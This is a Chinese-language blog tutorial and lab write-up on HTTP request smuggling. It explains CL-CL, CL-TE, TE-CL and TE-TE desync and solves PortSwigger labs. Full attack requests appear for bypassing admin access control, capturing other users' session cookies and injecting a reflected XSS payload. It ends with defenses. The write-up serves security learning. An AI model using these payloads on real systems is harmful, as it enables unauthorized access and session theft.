学习HTTP Smuggling 攻击

0xGeekCat · 2020-9-7 · 次阅读


TL;NR

screenshot

TimeLine

@Amit Klein 在 2004 年提出HTTP Response Splitting技术,是 HTTP Smuggling 攻击的雏形

关于 HTTP Smuggling 这种攻击方式在 2005 年已由 @Watchfire 首次提出HTTP Request Smuggling

HTTP Parameter Pollution (HPP),也就是 HTTP 参数污染,这其实也算是一种”特殊”的 HTTP Smuggling 攻击,在 2009 年由 @Stefano di Paola & @Luca Carettoni 在 OWASP Poland conference 上首次提出,一经提出就引起了比较大的轰动,被广泛运用在绕过 WAF 当中

2016 年 Defcon 24 ,@regilero 提出了Hiding Wookiees In Http,进一步揭示了 HTTP Smuggling 这种攻击方式

2019 年 Defcon 27, @James Kettle 提出了HTTP Desync Attacks: Smashing into the Cell Next Door,讲解了如何用 HTTP Smuggling 技术挖掘到了 Paypal 的漏洞

HTTP Connection Mod

HTTP1.0之前的协议设计中,客户端每进行一次HTTP请求,就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的,我们要获取一个网页的内容,不仅要请求HTML文档,还有JS、CSS、图片等各种各样的资源,这样如果按照之前的协议设计,就会导致HTTP服务器的负载开销增大。于是在HTTP1.1中,增加了Keep-AlivePipeline这两个特性

Keep-Alive

screenshot 1

HTTP/1.1中默认使用Keep-Alive,从而允许在单个连接上承载多个请求和响应

Keep-Alive就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器开销节约资源,还能加快访问速度。这个特性在HTTP1.1中默认开启;不过如果请求带着Connection: close的话,通信完成之后服务器会中断 TCP 连接

Pipeline

有了Keep-Alive之后,后续就有了Pipeline,在这里客户端可以像流水线一样发送HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端;现如今,浏览器默认不启用Pipeline,但一般的服务器都提供了对Pipleline的支持

👇使用与不使用piepeline技术对比

screenshot 2

Message Body

Message Body在请求中的存在由Content-LengthTransfer-Encoding头字段表示

Transfer-Encoding

screenshot 3

Transfer-Encoding被设计用来支持7-bit传输服务,使之安全的传输二进制数据的字段,有点类似于MIME HeaderContent-Transfer-Encoding。在HTTP的情况下,Transfer-Encoding主要用来以指定的编码形式编码payload body使其安全地传输给用户。其在HTTP/1.1中引入,在HTTP/2中取消

Syntax

Transfer-Encoding: chunked
Transfer-Encoding: compress
Transfer-Encoding: deflate
Transfer-Encoding: gzip
Transfer-Encoding: identity

// Several values can be listed, separated by a comma
Transfer-Encoding: gzip, chunked

Chunked Transfer Coding

screenshot 4

chunked-body   = *chunk
                 last-chunk         
                 trailer-part
                 CRLF

chunk          = chunk-size [ chunk-ext ] CRLF
                 chunk-data CRLF
chunk-size     = 1*HEXDIG
last-chunk     = 1*("0") [ chunk-ext ] CRLF

chunk-data     = 1*OCTET ; a sequence of chunk-size octets

screenshot 5

Chunk Extensions

screenshot 6

chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

chunk-ext-name = token
chunk-ext-val  = token / quoted-string

screenshot 7

假设使用chunked发送👇消息

Wikipedia in\r\n\r\nchunks.

可以构造👇发送的请求包

POST /x HTTP/1.1
Host: x
Content-Type: text/plain 
Transfer-Encoding: chunked

4\r\n
Wiki\r\n
5\r\n
pedia\r\n
e\r\n
 in\r\n\r\nchunks.\r\n
0\r\n
\r\n

\r\n就是👆的数据结构中CRLF的具体实现,Carriage-Return Line-Feed意为回车换行

数据包中的第一个chunk

4\r\n → chunk-size [ chunk-ext ] CRLF
Wiki\r\n → chunk-data CRLF

chunk-size是十六进制数

e\r\n → 1*HEXDIG
 in\r\n\r\nchunks.\r\n

chunk-data= in\r\n\r\nchunks.\r\n,1空格 + 2in + 4\r\n\r\n + 7chunk.= 14字节 14(dec)=e(hex)

0\r\n → 1*("0") [ chunk-ext ] CRLF

产生原因

为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取

👇一个很典型的拓扑结构

screenshot 8

一般来说,反向代理与后端服务器不会使用pipeline技术,甚至也不会去使用Keep-Alive,更多时候是重用TCP链接,这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,因此不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用

screenshot 9

screenshot 10

screenshot 11

当攻击者向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击

HTTP Smuggling攻击正是基于反向代理后端服务器对于HTTP请求解析处理不一致,利用这种差异性可以在一个HTTP请求中嵌入另一个HTTP请求,以达到走私请求的目的,直接表现为可以访问内网服务,或者造成一些其他攻击

Attack Method

❓既然HTTP Smuggling是基于解析差异,那其会有什么样的解析差异

对上述构架场景进行简化并把后端服务器固定为一台,架构类似于👇示意图

screenshot 12

Content-LengthTransfer-Encoding均可以作为POST数据传输时处理body的方式

对字段处理优先规则有👇简写规则

  • CL-TE代表Front以Content-Length优先处理,Backend以Transfer-Encoding优先处理
  • TE-CL代表Front以Transfer-Encoding优先处理,Backend以Content-Length优先处理

并且Front代表的是反向代理的前端服务器,Backend代表的是处理请求的后端服务器

CL不为0的GET请求

影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只是GET比较常见

在GET请求上发送有效内容正文可能会导致某些现有实现拒绝该请求;假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私

👇构造请求

GET / HTTP/1.1\r\n 👈 HTTP/1.1存在Pipeline技术
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后因为不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,这就造成了请求走私

第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET /secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL

screenshot 15

当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。但是总有服务器不严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理

恶意攻击者可以构造特殊请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去

此时缓冲区还剩余a,对于后端服务器来说,a是下个请求的一部分,但是还没有传输完毕。此时恰有其他正常用户对服务器进行请求

假设请求如图所示

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

由于代理服务器与源站服务器之间一般会重用TCP连接,这时候正常用户的请求就拼接到a后面,当后端服务器接收完毕后,它实际处理的请求👇

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,后续可以扩展成类似于CSRF的攻击方式

但是两个Content-Length这种请求包太过理想化,一般服务器都不会接受这种存在两个请求头的请求包

screenshot 13

👆规定如果收到同时存在Content-LengthTransfer-Encoding两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题

CL-TE

CL-TE就是当收到存在两个请求头的请求包时,前端代理服务器未遵守规定只处理Content-Length这一请求头,而后端服务器遵守RFC2616规定,忽略掉Content-Length,处理Transfer-Encoding请求头

构造请求包

POST / HTTP/1.1
Host: acc91f081f6b53ef80db2070001c003b.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=JdG4YNrmVLC60vBG8Cz360k8MLZOacwO
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
\r\n
0\r\n → 3
\r\n → 2
G → 1

发送两次请求即可实现预期响应,原理与CL-CL相同

screenshot 16

‼️如果要对靶机进行此次HTTP Smuggling攻击,还需要对请求包以及Burp Suite进行修改

  1. 取消自动更新Content-Length

    screenshot 17

  2. 去除请求包中Cache-Control以及Sec-Fetch-xxx头字段

TE-CL

POST / HTTP/1.1
Host: acc11fbe1f22cf4980aa268a00d100e0.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=cK6dqUd8iRozhaKgF089EngXeMFbrU27
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n → 18
Content-Type: application/x-www-form-urlencoded\r\n → 47
Content-Length: 15\r\n → 20
\r\n → 2
x=1\r\n → 5
0\r\n
\r\n

screenshot 14

前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为读取完毕,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完5c\r\n之后,就认为请求已经结束,后面的数据来自另一个请求

TE-TE

当收到存在两个Transfer-Encoding头字段的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实实现了RFC标准。但如果取第二个TE字段作为解析标准,而第二个字段值非正常或者解析出错,就可能会忽略TE字段,而使用CL字段进行解析。从某种意义上还是CL-TE或者TE-CL的实现

POST / HTTP/1.1
Host: ac261fa81fc4c34a80af8277000800cc.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=RxKnW4kwfzaLVN8L9axZCS8JQR78u8Az
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

screenshot 18

❗️复现靶机时注意

0\r\n
\r\n 👈 此时已经结束了 在回车换行就会导致走私失败

攻击实例

PortSwigger中提供了利用HTTP请求走私攻击的实验

绕过前端服务器的安全控制

在网络环境中,前端服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应

👇两个实验分别使用CL-TETE-CL绕过前端的访问控制

使用CL-TE绕过前端服务器安全控制

实验目的是获取admin权限并删除用户carlos

screenshot 19

直接访问/admin当数据包流经前端服务器是会被拦截

screenshot 20

POST / HTTP/1.1
Host: ac281fa51e171f3e80234adf00da00a7.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=lkZNiqMVzpGe4hIBlo68tFsISNjEO7j7
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n 👈 别忘了CRLF
\r\n 👈 有时候可能还需要一个CRLF

❗️走私请求如果一次不成功多试几次,存在一定概率(不小)会发生走私失败

👇此时开启Burp Suite的Upgrade Content-Length选项方便构造

screenshot 21

👆提示只有以管理员身份访问或者在本地登录才可以访问/admin接口

在走私的请求中,添加一个Host: localhost请求头,然后重新进行请求

POST / HTTP/1.1
Host: ac281fa51e171f3e80234adf00da00a7.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=lkZNiqMVzpGe4hIBlo68tFsISNjEO7j7
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: localhost\r\n

screenshot 22

👆成功访问admin界面,之后设置/admin/delete?username=calos删除carlos即可

screenshot 23

使用TE-CL绕过前端服务器安全控制

👇将请求体转换转换为chunked格式

screenshot 25

❗️修改Content-Length: 4之后反复请求直到走私成功(千万不要忘了)

screenshot 24

执行/admin/delete?username=carlos后可以通过再次访问/admin得知成功与否

screenshot 26

获取前端服务器重写请求字段

❗️在有的网络环境下,前端代理服务器收到请求后,不会直接转发给后端服务器,而是先[添加一些必要字段],然后再转发给后端服务器

👇这些字段是后端服务器对请求进行处理所必须的

  • 描述TLS连接所使用的协议和密码
  • 包含用户IP地址的XFF头
  • 用户的会话令牌ID

总之如果不能获取到代理服务器添加或者重写的字段,走私过去的请求就不能被后端服务器进行正确的处理

❓那么该如何获取这些值

PortSwigger提供一种很简单的方法

  1. 找能够将请求参数的值输出到响应中的POST请求
  2. 把该POST请求中的请求参数放在走私内容的后面
  3. 走私请求后直接发送若干普通请求,前端服务器对请求重写的一些字段就会显示

👇实验的最终目的还是删除用户carlos

首先找到能够将请求参数的值输出到响应中的POST请求

screenshot 27

构造含指定请求参数的数据包

POST / HTTP/1.1
Host: ac8e1f861ef1fddb805e4d54000c0049.web-security-academy.net
Connection: close
Content-Length: 67
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Origin: https://ac8e1f861ef1fddb805e4d54000c0049.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://ac8e1f861ef1fddb805e4d54000c0049.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=h6efEOfcQTYX7vEbFR17fikGnKauPlLW
Transfer-Encoding: chunked

0
    👈 此处一定要有两个空行

POST / HTTP/1.1 👈 注意此时请求方法为POST,如果是GET就无法成功传参
Content-Length: 500

search=0xGeekCat

多次请求之后就可以获得前端服务器添加的请求头

screenshot 28

❓但为什么要多次请求呢,Content-Length又为什么要设置那么大呢

本人在复现时将Content-Length的值设置为500,显然之后携带的数据的长度是不够500,因此后端服务器在接收到这个走私的请求后,会认为请求还没传输完毕,继续等待请求传输

继续发送相同的数据包,当接收的数据的总长度到达500时,后端服务器才认为请求已经传输完毕,然后进行响应。而在这个前端服务器向后端服务器多次请求的过程中就会发生前端服务器重写新的头字段,这个经过重写的请求会拼接在search=0xGeekCat后面一同传输给后端服务器,而后端会将拼接的请求作为search的参数进行处理,并最终回显到响应中

在走私的请求上添加X-gtPjsV-Ip字段,之后走私删除用户的请求即可

screenshot 29

carlos删除成功

screenshot 30

获取其他用户的请求

👆实验中通过走私一个内容长度不够的请求来获取前端服务器添加的字段,而重写的头字段来自于后续发送的请求。换句话说,通过请求走私获取了走私请求之后的请求

❓如果在请求走私发生后,其他用户也进行了请求会发生什么,POST请求会将获得的数据存储并展示出来嘛?

可以通过走私恶意请求将其他用户的请求信息拼接到走私请求中并存储到网站中,之后再查看这些数据就能获取到用户请求。这种方法可以用来窃取用户的敏感信息

实验目的是通过获取其他用户的Cookie用来访问其他账号

screenshot 31

首先寻找一个能够将传入的请求存储到网站中的POST请求表单

screenshot 32

抓取评论区POST请求

POST /post/comment HTTP/1.1
Host: ac501f991f002d7c804c09e000a900ef.web-security-academy.net
Connection: close
Content-Length: 105
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Origin: https://ac501f991f002d7c804c09e000a900ef.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://ac501f991f002d7c804c09e000a900ef.web-security-academy.net/post?postId=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=rzbegF0YHZ7SjXt3x2zWoLcfvQ2npnFM

csrf=xDOH0tH1TxXCAKpXqIp9WbY0hKzYm2AF&postId=4&comment=test&name=0xGeekCat&email=hacker%40hacker&website=

根据👆POST改造数据包

POST / HTTP/1.1
Host: ac501f991f002d7c804c09e000a900ef.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 276
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=rzbegF0YHZ7SjXt3x2zWoLcfvQ2npnFM

csrf=xDOH0tH1TxXCAKpXqIp9WbY0hKzYm2AF&postId=4&comment=test&name=0xGeekCat&email=hacker%40hacker&website=&comment=test 

提交一次请求包之后等待受害者进行请求

screenshot 33

靶机中其他用户回复时间较慢,所以直接自己亲自作为受害者进行请求

screenshot 34

利用反射型XSS

实验使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞

screenshot 35

POST / HTTP/1.1
Host: ac151f5a1f0d98b880771e30002e00c0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=sbr5uM7KbSlTw3VNTSE9r3Rd4AH0ACRL
Content-Length: 127
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script># 👈
Content-Type: application/x-www-form-urlencoded

 👈 空出一行要么不空

screenshot 36

screenshot 37

进行缓存投毒

一般来说前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户

❌暂时还未了解缓存投毒,以后再深入研究,留一个坑

如何防御

针对特定的服务器,通用的防御措施大概有三种

  • 禁用代理服务器与后端服务器之间的TCP连接重用
  • 使用HTTP/2协议
  • 前后端使用相同的服务器

以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。

🔔从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的

吐槽一下

请求体中的空行究竟什么时候空,要空几个一直没想明白,也没找到规律,如果有师傅了解还请务必联系我,谢谢

reference

一篇文章带你读懂 HTTP Smuggling 攻击

协议层的攻击——HTTP请求走私

郑重感谢